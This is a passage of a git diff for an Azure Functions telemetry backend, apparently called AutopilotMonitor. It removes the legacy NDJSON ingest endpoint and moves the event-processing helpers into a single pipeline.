-using Microsoft.Azure.Functions.Worker.Http; -using Microsoft.Azure.Functions.Worker.Extensions.SignalRService; -using Microsoft.Extensions.Logging; - -namespace AutopilotMonitor.Functions.Functions.Ingest -{ - public partial class IngestEventsFunction - { - private readonly ILogger _logger; - private readonly ISessionRepository _sessionRepo; - private readonly IMetricsRepository _metricsRepo; - private readonly IMaintenanceRepository _maintenanceRepo; - private readonly IRuleRepository _ruleRepo; - private readonly IVulnerabilityRepository _vulnRepo; - private readonly TenantConfigurationService _configService; - private readonly RateLimitService _rateLimitService; - private readonly AutopilotDeviceValidator _autopilotDeviceValidator; - private readonly CorporateIdentifierValidator _corporateIdentifierValidator; - private readonly DeviceAssociationValidator _deviceAssociationValidator; - private readonly AnalyzeRuleService _analyzeRuleService; - private readonly WebhookNotificationService _webhookNotificationService; - private readonly BlockedDeviceService _blockedDeviceService; - private readonly BlockedVersionService _blockedVersionService; - private readonly BootstrapSessionService _bootstrapSessionService; - private readonly VulnerabilityCorrelationService _vulnerabilityCorrelation; - private readonly AdminConfigurationService _adminConfigService; - private readonly SignalRNotificationService _signalRNotification; - private readonly OpsEventService _opsEventService; - private readonly SlaBreachEvaluationService _slaBreachService; - private readonly TelemetryClient _telemetryClient; - private readonly AutopilotMonitor.Functions.Services.Analyze.IAnalyzeOnEnrollmentEndProducer _analyzeProducer; - - public IngestEventsFunction( - ILogger logger, - ISessionRepository sessionRepo, - IMetricsRepository metricsRepo, - IMaintenanceRepository maintenanceRepo, - IRuleRepository ruleRepo, - IVulnerabilityRepository vulnRepo, - TenantConfigurationService configService, - RateLimitService rateLimitService, - AutopilotDeviceValidator autopilotDeviceValidator, - CorporateIdentifierValidator corporateIdentifierValidator, - DeviceAssociationValidator deviceAssociationValidator, - AnalyzeRuleService analyzeRuleService, - WebhookNotificationService webhookNotificationService, - BlockedDeviceService blockedDeviceService, - BlockedVersionService blockedVersionService, - BootstrapSessionService bootstrapSessionService, - VulnerabilityCorrelationService vulnerabilityCorrelation, - AdminConfigurationService adminConfigService, - SignalRNotificationService signalRNotification, - OpsEventService opsEventService, - SlaBreachEvaluationService slaBreachService, - TelemetryClient telemetryClient, - AutopilotMonitor.Functions.Services.Analyze.IAnalyzeOnEnrollmentEndProducer analyzeProducer) - { - _logger = logger; - _sessionRepo = sessionRepo; - _metricsRepo = metricsRepo; - _maintenanceRepo = maintenanceRepo; - _ruleRepo = ruleRepo; - _vulnRepo = vulnRepo; - _configService = configService; - _rateLimitService = rateLimitService; - _autopilotDeviceValidator = autopilotDeviceValidator; - _corporateIdentifierValidator = corporateIdentifierValidator; - _deviceAssociationValidator = deviceAssociationValidator; - _analyzeRuleService = analyzeRuleService; - _webhookNotificationService = webhookNotificationService; - _blockedDeviceService = blockedDeviceService; - _blockedVersionService = blockedVersionService; - _bootstrapSessionService = bootstrapSessionService; - _vulnerabilityCorrelation = vulnerabilityCorrelation; - _adminConfigService = adminConfigService; - _signalRNotification = signalRNotification; - _opsEventService = opsEventService; - _slaBreachService = slaBreachService; - _telemetryClient = telemetryClient; - _analyzeProducer = analyzeProducer; - } - - [Function("IngestEvents")] - public async Task Run( - [HttpTrigger(AuthorizationLevel.Anonymous, "post", Route = "agent/ingest")] HttpRequestData req) - { - try - { - // --- Security checks FIRST — before touching the request body --- - - // TenantId is available in the X-Tenant-Id header, so we can validate the request - // before paying the cost of gzip decompression and JSON parsing. - var tenantIdHeader = req.Headers.Contains("X-Tenant-Id") - ? req.Headers.GetValues("X-Tenant-Id").FirstOrDefault() - : null; - - if (string.IsNullOrEmpty(tenantIdHeader)) - { - return await CreateErrorResponse(req, HttpStatusCode.BadRequest, "X-Tenant-Id header is required"); - } - - // Validate request security (certificate, rate limit, hardware whitelist, serial number in autopilot) - // sessionId is not yet known at this point — that's fine, it's optional for logging only. - var (validation, errorResponse) = await req.ValidateSecurityAsync( - tenantIdHeader, - _configService, - _rateLimitService, - _autopilotDeviceValidator, - _corporateIdentifierValidator, - _logger, - bootstrapSessionService: _bootstrapSessionService, - deviceAssociationValidator: _deviceAssociationValidator - ); - - if (errorResponse != null) - { - // Security validation failed - return before parsing the body - return new IngestEventsOutput - { - HttpResponse = errorResponse, - SignalRMessages = Array.Empty() - }; - } - - return await ProcessIngestAsync(req, tenantIdHeader, validation); - } - catch (Exception ex) - { - _logger.LogError(ex, "Error ingesting events"); - return await CreateErrorResponse(req, HttpStatusCode.InternalServerError, "Internal server error"); - } - } - } - - public class IngestEventsOutput - { - [HttpResult] - public HttpResponseData? HttpResponse { get; set; } - - [SignalROutput(HubName = "autopilotmonitor")] - public SignalRMessageAction[]? SignalRMessages { get; set; } - } - - /// - /// NDJSON metadata (first line of NDJSON payload) - /// - internal class NdjsonMetadata - { - public string SessionId { get; set; } = string.Empty; - public string TenantId { get; set; } = string.Empty; - } - - internal class AppInstallAggregationState - { - public AppInstallSummary Summary { get; set; } = new(); - public DateTime? DownloadStartedAt { get; set; } - public DateTime? InstallStartedAt { get; set; } - } -} diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestTelemetryFunction.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestTelemetryFunction.cs index f0e46103..148c35d7 100644 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestTelemetryFunction.cs +++ b/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/IngestTelemetryFunction.cs @@ -15,17 +15,16 @@ using Newtonsoft.Json; namespace AutopilotMonitor.Functions.Functions.Ingest { /// - /// V2 ingest endpoint. Consumes a heterogeneous batch of s + /// Agent ingest endpoint. Consumes a heterogeneous batch of s /// (Events + Signals + DecisionTransitions in a single JSON array, gzip-compressed on /// the wire — the UseRequestDecompression middleware decompresses before we /// parse). Plan §2.7a / §M5 / M4.6.ε. /// /// Routing by : /// - /// Event → (full pipeline parity with - /// /api/agent/ingest: rule engine, app-install aggregation, SignalR, vulnerability - /// correlation, webhooks, SLA breach, AdminAction detection, ServerAction delivery). - /// The processor is a deliberate copy of the legacy pipeline — see M5.b.2 rationale. + /// Event → (rule engine, app-install + /// aggregation, SignalR, vulnerability correlation, webhooks, SLA breach, AdminAction + /// detection, ServerAction delivery) /// Signal → /// DecisionTransition → /// @@ -33,8 +32,7 @@ namespace AutopilotMonitor.Functions.Functions.Ingest /// /// Response (M4.6.ε): the agent parses DeviceBlocked/UnblockAt/ /// DeviceKillSignal/AdminAction/Actions from the 2xx body and routes - /// kill-switches through its ServerActionDispatcher. Populated from the same - /// services the legacy /api/agent/ingest endpoint uses so behaviour is at parity. + /// kill-switches through its ServerActionDispatcher. /// /// public sealed class IngestTelemetryFunction @@ -129,10 +127,10 @@ namespace AutopilotMonitor.Functions.Functions.Ingest if (killResponse != null) return AsOutput(killResponse); // Defense in depth: cap decompressed body size before buffering it all into - // memory + deserialising. Mirrors the legacy /api/agent/ingest NDJSON guard - // using the same tenant-config knob. Request body here is already gzip- - // decompressed by UseRequestDecompression — so the cap is on the actual JSON - // bytes we'll feed to the parser. + // memory + deserialising (same tenant-config knob the removed V1 NDJSON path + // used). Request body here is already gzip-decompressed by + // UseRequestDecompression — so the cap is on the actual JSON bytes we'll feed + // to the parser. var tenantConfig = await _configService.GetConfigurationAsync(tenantIdHeader); var maxPayloadBytes = (tenantConfig?.MaxNdjsonPayloadSizeMB ?? 5) * 1024 * 1024; @@ -364,9 +362,9 @@ namespace AutopilotMonitor.Functions.Functions.Ingest /// /// Partitions the incoming batch by and persists each /// kind through its destination path. Events go through - /// for full pipeline parity with legacy /api/agent/ingest; Signals + Transitions land - /// directly in their new primary tables. The returned carries - /// both the per-kind counts and the control-signal / SignalR payload for the response. + /// (the full event pipeline); Signals + Transitions land directly in their primary tables. + /// The returned carries both the per-kind counts and the + /// control-signal / SignalR payload for the response. /// private async Task PersistItemsAsync( IReadOnlyList items, @@ -424,9 +422,9 @@ namespace AutopilotMonitor.Functions.Functions.Ingest if (events.Count > 0) { - // Full legacy-parity pipeline (rule engine, app-install aggregation, SignalR, + // Full event pipeline (rule engine, app-install aggregation, SignalR, // vulnerability correlation, webhooks, SLA breach, AdminAction detection, - // ServerAction delivery). See EventIngestProcessor for the M5.b.2 copy-rationale. + // ServerAction delivery). var eventRequest = new IngestEventsRequest { SessionId = sessionId, @@ -467,7 +465,7 @@ namespace AutopilotMonitor.Functions.Functions.Ingest /// /// Fetches AdminAction (session marked terminal out-of-band) and pending /// ServerActions for Signal/Transition-only batches (no - /// invocation). Mirror of the legacy inline logic. + /// invocation). /// private async Task<(string? adminAction, List? pendingActions)> ReadControlSignalsAsync(string tenantId, string sessionId) @@ -505,8 +503,7 @@ namespace AutopilotMonitor.Functions.Functions.Ingest /// Buffers the request body under a strict byte cap, then deserialises the telemetry batch /// directly off the buffered bytes. Returns (true, null) as soon as the cap would be /// exceeded — the stream isn't fully drained, which bounds memory use even for a malicious - /// sender (strict greater-than, so a payload equal to the cap is accepted; matches the - /// legacy NDJSON parser's guard semantics). + /// sender (strict greater-than, so a payload equal to the cap is accepted). /// /// Hot-path note: this deserialises through a over the buffered /// rather than materialising a full UTF-16 string + a @@ -603,4 +600,17 @@ namespace AutopilotMonitor.Functions.Functions.Ingest return response; } } + + /// + /// Multi-binding output shape of the agent ingest endpoint: the HTTP response plus the + /// SignalR messages for the live UI push. + /// + public class IngestEventsOutput + { + [HttpResult] + public HttpResponseData? HttpResponse { get; set; } + + [SignalROutput(HubName = "autopilotmonitor")] + public SignalRMessageAction[]? SignalRMessages { get; set; } + } } diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/NdjsonParser.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/NdjsonParser.cs deleted file mode 100644 index 961b1fc8..00000000 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/NdjsonParser.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System.Text; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Functions.Functions.Ingest -{ - /// - /// Pure NDJSON parsing logic — no service dependencies. - /// Gzip transport compression is handled upstream by ASP.NET Core's UseRequestDecompression - /// middleware, so this parser sees an already-decompressed stream. - /// - internal static class NdjsonParser - { - /// - /// Reads an NDJSON stream with a size cap and parses it. - /// First line: metadata (sessionId, tenantId). Subsequent lines: EnrollmentEvent objects. - /// - internal static async Task<(string sessionId, string tenantId, List events)> - ParseNdjsonStreamAsync(Stream body, int maxSizeBytes) - { - using var buffered = new MemoryStream(); - var buffer = new byte[8192]; - int bytesRead; - long totalBytesRead = 0; - - while ((bytesRead = await body.ReadAsync(buffer, 0, buffer.Length)) > 0) - { - totalBytesRead += bytesRead; - if (totalBytesRead > maxSizeBytes) - throw new InvalidOperationException( - $"NDJSON payload size exceeds maximum allowed size. " + - $"Current size: {totalBytesRead / 1024.0 / 1024.0:F2} MB"); - await buffered.WriteAsync(buffer, 0, bytesRead); - } - - buffered.Position = 0; - var ndjson = await new StreamReader(buffered, Encoding.UTF8).ReadToEndAsync(); - return ParseNdjson(ndjson); - } - - /// - /// Parses a raw NDJSON string (uncompressed). - /// Exposed as internal so tests can call it directly without building gzip payloads. - /// - internal static (string sessionId, string tenantId, List events) - ParseNdjson(string ndjson) - { - var lines = ndjson.Split('\n', StringSplitOptions.RemoveEmptyEntries); - - if (lines.Length < 1) - throw new InvalidOperationException("NDJSON must contain at least a metadata line"); - - var metadata = JsonConvert.DeserializeObject(lines[0]); - if (metadata == null) - throw new InvalidOperationException("Failed to parse NDJSON metadata"); - - var events = new List(); - for (int i = 1; i < lines.Length; i++) - { - try - { - var evt = JsonConvert.DeserializeObject(lines[i]); - if (evt != null) - { - EventDataNormalizer.Normalize(evt); - events.Add(evt); - } - } - catch (JsonException) - { - // Skip malformed event lines rather than failing the entire batch. - // A single corrupted event should not cause data loss for valid events. - } - } - - return (metadata.SessionId, metadata.TenantId, events); - } - } -} diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/ReportAgentErrorFunction.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/ReportAgentErrorFunction.cs index 7dd0c95d..aed967b3 100644 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/ReportAgentErrorFunction.cs +++ b/src/Backend/AutopilotMonitor.Functions/Functions/Ingest/ReportAgentErrorFunction.cs @@ -59,7 +59,7 @@ namespace AutopilotMonitor.Functions.Functions.Ingest { try { - // Security checks FIRST — same pattern as /api/agent/ingest. + // Security checks FIRST — same pattern as /api/agent/telemetry. // TenantId from X-Tenant-Id header allows validation before parsing the body. var tenantId = req.Headers.Contains("X-Tenant-Id") ? req.Headers.GetValues("X-Tenant-Id").FirstOrDefault() diff --git a/src/Backend/AutopilotMonitor.Functions/Middleware/HttpCompressionStartupFilter.cs b/src/Backend/AutopilotMonitor.Functions/Middleware/HttpCompressionStartupFilter.cs index 706b0dee..0027848e 100644 --- a/src/Backend/AutopilotMonitor.Functions/Middleware/HttpCompressionStartupFilter.cs +++ b/src/Backend/AutopilotMonitor.Functions/Middleware/HttpCompressionStartupFilter.cs @@ -6,7 +6,7 @@ namespace AutopilotMonitor.Functions.Middleware // Registers ASP.NET Core response-compression and request-decompression middleware into the // Kestrel pipeline that the Azure Functions isolated worker hosts via // Microsoft.Azure.Functions.Worker.Extensions.Http.AspNetCore. Using the standard middleware - // keeps gzip handling out of function code and NdjsonParser. + // keeps gzip handling out of function code. internal sealed class HttpCompressionStartupFilter : IStartupFilter { public Action Configure(Action next) diff --git a/src/Backend/AutopilotMonitor.Functions/Middleware/RequestTelemetryMiddleware.cs b/src/Backend/AutopilotMonitor.Functions/Middleware/RequestTelemetryMiddleware.cs index 86a58568..2f441fab 100644 --- a/src/Backend/AutopilotMonitor.Functions/Middleware/RequestTelemetryMiddleware.cs +++ b/src/Backend/AutopilotMonitor.Functions/Middleware/RequestTelemetryMiddleware.cs @@ -27,10 +27,8 @@ public class RequestTelemetryMiddleware : IFunctionsWorkerMiddleware private static readonly HashSet TenantHeaderTrustedPaths = new(StringComparer.OrdinalIgnoreCase) { "/api/agent/telemetry", - "/api/agent/ingest", "/api/agent/error", "/api/agent/distress", - "/api/bootstrap/ingest", "/api/bootstrap/error", }; diff --git a/src/Backend/AutopilotMonitor.Functions/Program.cs b/src/Backend/AutopilotMonitor.Functions/Program.cs index e2433dfa..7cda606e 100644 --- a/src/Backend/AutopilotMonitor.Functions/Program.cs +++ b/src/Backend/AutopilotMonitor.Functions/Program.cs @@ -343,7 +343,6 @@ builder.Services.AddSingleton(); // Register agent Function classes so bootstrap wrappers can inject them for code reuse -builder.Services.AddSingleton(); builder.Services.AddSingleton(); builder.Services.AddSingleton(); builder.Services.AddSingleton(); diff --git a/src/Backend/AutopilotMonitor.Functions/Security/EndpointAccessPolicyCatalog.cs b/src/Backend/AutopilotMonitor.Functions/Security/EndpointAccessPolicyCatalog.cs index 272d17cd..c900e655 100644 --- a/src/Backend/AutopilotMonitor.Functions/Security/EndpointAccessPolicyCatalog.cs +++ b/src/Backend/AutopilotMonitor.Functions/Security/EndpointAccessPolicyCatalog.cs @@ -162,13 +162,11 @@ public static class EndpointAccessPolicyCatalog // ── DeviceOrBootstrapAuth ─────────────────────────────────────── new("POST", "agent/register-session", EndpointPolicy.DeviceOrBootstrapAuth), - new("POST", "agent/ingest", EndpointPolicy.DeviceOrBootstrapAuth), new("POST", "agent/telemetry", EndpointPolicy.DeviceOrBootstrapAuth), new("GET", "agent/config", EndpointPolicy.DeviceOrBootstrapAuth), new("POST", "agent/upload-url", EndpointPolicy.DeviceOrBootstrapAuth), new("POST", "agent/error", EndpointPolicy.DeviceOrBootstrapAuth), new("POST", "bootstrap/register-session", EndpointPolicy.DeviceOrBootstrapAuth), - new("POST", "bootstrap/ingest", EndpointPolicy.DeviceOrBootstrapAuth), new("GET", "bootstrap/config", EndpointPolicy.DeviceOrBootstrapAuth), new("POST", "bootstrap/error", EndpointPolicy.DeviceOrBootstrapAuth), diff --git a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.AppInstall.cs b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.AppInstall.cs index aab9c0d0..8a68847e 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.AppInstall.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.AppInstall.cs @@ -1,4 +1,3 @@ -using AutopilotMonitor.Functions.Functions.Ingest; using AutopilotMonitor.Shared.Models; namespace AutopilotMonitor.Functions.Services @@ -6,8 +5,7 @@ namespace AutopilotMonitor.Functions.Services /// /// Per-app install summary aggregation — folds a batch of app_install_* + /// download_progress + do_telemetry events into an - /// keyed by app name. Verbatim copy of the legacy helper; - /// see for the duplication rationale. + /// keyed by app name. /// public sealed partial class EventIngestProcessor { @@ -188,7 +186,54 @@ namespace AutopilotMonitor.Functions.Services break; } - IngestEventsFunction.RecalculateAppDurations(state); + RecalculateAppDurations(state); + } + + internal static void RecalculateAppDurations(AppInstallAggregationState state) + { + var summary = state.Summary; + + // Effective start for full app duration: earliest known install/download start. + var effectiveStart = summary.StartedAt; + if (state.DownloadStartedAt.HasValue && + (effectiveStart == DateTime.MinValue || state.DownloadStartedAt.Value < effectiveStart)) + { + effectiveStart = state.DownloadStartedAt.Value; + } + + if (state.InstallStartedAt.HasValue && + (effectiveStart == DateTime.MinValue || state.InstallStartedAt.Value < effectiveStart)) + { + effectiveStart = state.InstallStartedAt.Value; + } + + if (effectiveStart != DateTime.MinValue) + { + summary.StartedAt = effectiveStart; + } + + // Download duration: from first download start to first install start. + if (state.DownloadStartedAt.HasValue && state.InstallStartedAt.HasValue && + state.InstallStartedAt.Value >= state.DownloadStartedAt.Value) + { + summary.DownloadDurationSeconds = EventTimestampValidator.SafeDurationSeconds( + state.DownloadStartedAt.Value, state.InstallStartedAt.Value); + } + + // Full duration: from effective start to completion/failure. + if (summary.CompletedAt.HasValue && summary.StartedAt != DateTime.MinValue && + summary.CompletedAt.Value >= summary.StartedAt) + { + summary.DurationSeconds = EventTimestampValidator.SafeDurationSeconds( + summary.StartedAt, summary.CompletedAt.Value); + } } } + + internal class AppInstallAggregationState + { + public AppInstallSummary Summary { get; set; } = new(); + public DateTime? DownloadStartedAt { get; set; } + public DateTime? InstallStartedAt { get; set; } + } } diff --git a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Classification.cs b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Classification.cs index ac017019..759bd088 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Classification.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Classification.cs @@ -1,13 +1,10 @@ -using AutopilotMonitor.Functions.Functions.Ingest; using AutopilotMonitor.Shared.Models; using Microsoft.Extensions.Logging; namespace AutopilotMonitor.Functions.Services { /// - /// Event classification + session-status transitions. Verbatim copy of the legacy - /// IngestEventsFunction helpers (see the class-level comment on - /// for the copy-duplication rationale). + /// Event classification + session-status transitions. /// public sealed partial class EventIngestProcessor { @@ -66,7 +63,7 @@ namespace AutopilotMonitor.Functions.Services classification.SessionStalledEvent = evt; break; case "agent_shutting_down": - if (IngestEventsFunction.IsMaxLifetimeAgentShutdown(evt)) + if (IsMaxLifetimeAgentShutdown(evt)) classification.AgentMaxLifetimeShutdownEvent = evt; break; case "system_reboot_detected": @@ -95,6 +92,25 @@ namespace AutopilotMonitor.Functions.Services return classification; } + /// + /// True for an agent_shutting_down event whose Data.reason is + /// max_lifetime — the V2 watchdog shutdown (session 8bc1180f). By design that + /// path is a "notbremse, not a session verdict": the agent stops permanently WITHOUT + /// emitting enrollment_failed, so this is the last event the session ever + /// sends and the backend must map it to a terminal status itself. Other shutdown + /// reasons (decision_terminal, ctrl_c, process_exit, unhandled_exception, ...) either + /// follow a real terminal event or imply nothing terminal. + /// + internal static bool IsMaxLifetimeAgentShutdown(EnrollmentEvent? evt) + { + if (evt == null || !string.Equals(evt.EventType, "agent_shutting_down", StringComparison.Ordinal)) + return false; + var reason = evt.Data != null && evt.Data.ContainsKey("reason") + ? evt.Data["reason"]?.ToString() + : null; + return string.Equals(reason, "max_lifetime", StringComparison.OrdinalIgnoreCase); + } + private static bool IsPeriodicOrStallEvent(string? eventType) => eventType switch { "performance_snapshot" => true, @@ -272,4 +288,43 @@ namespace AutopilotMonitor.Functions.Services return (statusTransitioned, whiteGloveStatusTransitioned, failureReason); } } + + /// + /// Holds classified events from an ingest batch for downstream processing. + /// + internal class EventClassification + { + public EnrollmentEvent? LastPhaseChangeEvent { get; set; } + public EnrollmentEvent? CompletionEvent { get; set; } + public EnrollmentEvent? FailureEvent { get; set; } + public EnrollmentEvent? GatherCompletionEvent { get; set; } + public EnrollmentEvent? DiagnosticsUploadedEvent { get; set; } + public EnrollmentEvent? WhiteGloveEvent { get; set; } + public EnrollmentEvent? WhiteGloveStartedEvent { get; set; } + public EnrollmentEvent? WhiteGloveResumedEvent { get; set; } + public EnrollmentEvent? EspFailureEvent { get; set; } + public EnrollmentEvent? SessionStalledEvent { get; set; } + + /// + /// agent_shutting_down with Data.reason == "max_lifetime" — the V2 + /// watchdog shutdown that deliberately carries no enrollment verdict. Mapped to a + /// terminal Failed status as the lowest-priority status writer so the session does + /// not stay InProgress forever (session 8bc1180f). + /// + public EnrollmentEvent? AgentMaxLifetimeShutdownEvent { get; set; } + public bool HasNonPeriodicRealEvent { get; set; } + public EnrollmentEvent? DeviceLocationEvent { get; set; } + public DateTime? EarliestEventTimestamp { get; set; } + public DateTime? LatestEventTimestamp { get; set; } + public Dictionary AppInstallUpdates { get; } = new(StringComparer.OrdinalIgnoreCase); + public int PlatformScriptCount { get; set; } + public int RemediationScriptCount { get; set; } + + /// + /// Number of system_reboot_detected events seen in this ingest batch (V2 only). + /// Drives the per-batch incremental RebootCount; the stored value is later overwritten + /// with an authoritative distinct count at the terminal transition. + /// + public int RebootCount { get; set; } + } } diff --git a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Notifications.cs b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Notifications.cs index 643fa034..939208dd 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Notifications.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Notifications.cs @@ -1,5 +1,4 @@ using System.Linq; -using AutopilotMonitor.Functions.Functions.Ingest; using AutopilotMonitor.Functions.Services.Notifications; using AutopilotMonitor.Shared.Models; using AutopilotMonitor.Shared.Models.Notifications; @@ -10,8 +9,7 @@ namespace AutopilotMonitor.Functions.Services { /// /// External + real-time notification plumbing: outgoing webhook alerts (Teams/Slack-style) - /// and SignalR messages for the live UI push. Verbatim copy of the legacy helpers; see - /// for the duplication rationale. + /// and SignalR messages for the live UI push. /// public sealed partial class EventIngestProcessor { diff --git a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.RuleStats.cs b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.RuleStats.cs index d0bbdae9..878e47bd 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.RuleStats.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.RuleStats.cs @@ -5,9 +5,8 @@ using Microsoft.Extensions.Logging; namespace AutopilotMonitor.Functions.Services { /// - /// Daily rule-fire/evaluation telemetry (per-tenant + global aggregate rows). Verbatim - /// copy of the legacy helpers; see for the duplication - /// rationale. Both methods are fire-and-forget — failures are logged, never thrown. + /// Daily rule-fire/evaluation telemetry (per-tenant + global aggregate rows). + /// Both methods are fire-and-forget — failures are logged, never thrown. /// public sealed partial class EventIngestProcessor { diff --git a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.cs b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.cs index f6e8406c..63db66b6 100644 --- a/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.cs +++ b/src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.cs @@ -1,5 +1,4 @@ using System.Linq; -using AutopilotMonitor.Functions.Functions.Ingest; using AutopilotMonitor.Functions.Security; using AutopilotMonitor.Functions.Services.Notifications; using AutopilotMonitor.Functions.Services.Vulnerability; @@ -12,26 +11,11 @@ using Microsoft.Extensions.Logging; namespace AutopilotMonitor.Functions.Services { /// - /// M5.b.2 — Post-parse event-processing pipeline for the V2 /api/agent/telemetry - /// endpoint. Deliberate copy of 's post-body-parse - /// tail, extracted into a standalone service so the new endpoint has identical event - /// behaviour (rule engine, app-install aggregation, SignalR, vulnerability correlation, - /// webhooks, SLA breach evaluation, AdminAction detection, ServerAction delivery) without - /// touching the production-hot legacy path. - /// - /// Why a copy, not an extraction? /api/agent/ingest serves live traffic from every - /// deployed V1 agent. Refactoring it is a production risk we chose not to take. The - /// duplicate disappears when the legacy endpoint is decommissioned post-v11 GA (see - /// tasks/todo.md → Follow-Ups → Legacy-Agent-Ausmusterung). Until then: bugs fixed in - /// legacy must be ported here manually. - /// - /// - /// Pure static helpers (, - /// ) and the internal DTOs - /// EventClassification / AppInstallAggregationState are shared - /// (state-less, stable, no behaviour) — the duplication is scoped to the logic that - /// actually runs. - /// + /// Event-processing pipeline for the /api/agent/telemetry endpoint — since the + /// removal of the legacy V1 NDJSON endpoint (/api/agent/ingest) the single + /// pipeline behind agent event ingest: rule engine, app-install aggregation, SignalR, + /// vulnerability correlation, webhooks, SLA breach evaluation, AdminAction detection, + /// ServerAction delivery. /// /// Split across partials for readability — this file owns the orchestrator (ctor + DI + /// ); thematic helpers live in siblings: @@ -90,11 +74,10 @@ namespace AutopilotMonitor.Functions.Services } /// - /// Runs the full event-processing pipeline on an already-parsed batch. Mirror of - /// 's ProcessIngestAsync tail starting at - /// timestamp sanitation (security checks, device/version kill-switches, NDJSON body - /// parse and tenant-mismatch check are the caller's responsibility — the V2 function - /// does them before it even knows the item is an Event). + /// Runs the full event-processing pipeline on an already-parsed batch, starting at + /// timestamp sanitation (security checks, device/version kill-switches, body parse + /// and tenant-mismatch check are the caller's responsibility — the function does + /// them before it even knows the item is an Event). /// /// Parsed event batch (single session). /// Security validation result of the carrying HTTP request. @@ -117,8 +100,8 @@ namespace AutopilotMonitor.Functions.Services validation.RateLimitResult?.MaxRequests); var receivedAt = DateTime.UtcNow; - IngestEventsFunction.StampServerFields(request.Events, request.TenantId, request.SessionId, receivedAt); - IngestEventsFunction.SanitizeEventTimestamps(request.Events, receivedAt, _logger); + StampServerFields(request.Events, request.TenantId, request.SessionId, receivedAt); + SanitizeEventTimestamps(request.Events, receivedAt, _logger); var storedEvents = await _sessionRepo.StoreEventsBatchAsync(request.Events); int processedCount = storedEvents.Count; @@ -406,6 +389,94 @@ namespace AutopilotMonitor.Functions.Services }; } + /// + /// Stamps authoritative server-side fields onto all events before storage. + /// TenantId and SessionId always come from the validated request metadata, + /// overriding any values the agent may have sent per-event. + /// Exposed as internal for unit testing. + /// + internal static void StampServerFields( + List events, string tenantId, string sessionId, DateTime receivedAt) + { + foreach (var evt in events) + { + evt.ReceivedAt = receivedAt; + evt.TenantId = tenantId; + evt.SessionId = sessionId; + } + } + + /// + /// Sanitizes agent-side timestamps on all events by clamping out-of-range values. + /// When a timestamp is clamped, the original value is preserved in OriginalTimestamp + /// and TimestampClamped is set to true — keeping the raw data available for + /// troubleshooting and root-cause analysis of clock issues on devices. + /// + /// Emits structured logs for observability: + /// - Debug level per clamped event (TenantId/SessionId/EventType/drift) — opt-in via log level + /// - One Warning per ingest batch that had any clamping, with aggregate counts and max drifts. + /// This is what to query in App Insights to find bad-clock devices: + /// traces | where message startswith "Agent clock skew" + /// + /// Exposed as internal for unit testing. + /// + internal static void SanitizeEventTimestamps(List events, DateTime utcNow, ILogger? logger = null) + { + int clampedPast = 0; + int clampedFuture = 0; + double maxPastDriftHours = 0; + double maxFutureDriftHours = 0; + + foreach (var evt in events) + { + var original = evt.Timestamp; + var sanitized = EventTimestampValidator.SanitizeTimestamp(original, utcNow); + if (sanitized == original) + continue; + + evt.OriginalTimestamp = original; + evt.TimestampClamped = true; + evt.Timestamp = sanitized; + + // Classify the clamping direction (for aggregate stats) and track max drift. + // Compare in UTC so Local/Unspecified Kinds don't skew the direction check. + // Note: catastrophic values like DateTime.MinValue fall into the "past" bucket + // with a very large drift — this is intentional and makes them easy to spot in logs. + var originalUtc = EventTimestampValidator.EnsureUtc(original); + if (originalUtc > utcNow) + { + clampedFuture++; + var drift = (originalUtc - utcNow).TotalHours; + if (drift > maxFutureDriftHours) maxFutureDriftHours = drift; + } + else + { + clampedPast++; + var drift = (utcNow - originalUtc).TotalHours; + if (drift > maxPastDriftHours) maxPastDriftHours = drift; + } + + logger?.LogDebug( + "Event timestamp clamped: TenantId={TenantId}, SessionId={SessionId}, EventType={EventType}, Original={Original:O}, Sanitized={Sanitized:O}", + evt.TenantId, evt.SessionId, evt.EventType, original, sanitized); + } + + if (clampedPast + clampedFuture > 0 && logger != null) + { + // Pull tenant/session from the first clamped event (all events in a batch share the same context). + var firstClamped = events.Find(e => e.TimestampClamped); + logger.LogWarning( + "Agent clock skew detected: TenantId={TenantId}, SessionId={SessionId}, TotalEvents={TotalEvents}, ClampedPast={ClampedPast}, ClampedFuture={ClampedFuture}, MaxPastDriftHours={MaxPastDriftHours:F1}, MaxFutureDriftHours={MaxFutureDriftHours:F1}", + firstClamped?.TenantId, + firstClamped?.SessionId, + events.Count, + clampedPast, + clampedFuture, + maxPastDriftHours, + maxFutureDriftHours); + } + } + } /// diff --git a/src/Backend/AutopilotMonitor.Functions/Services/ISignalRNotificationService.cs 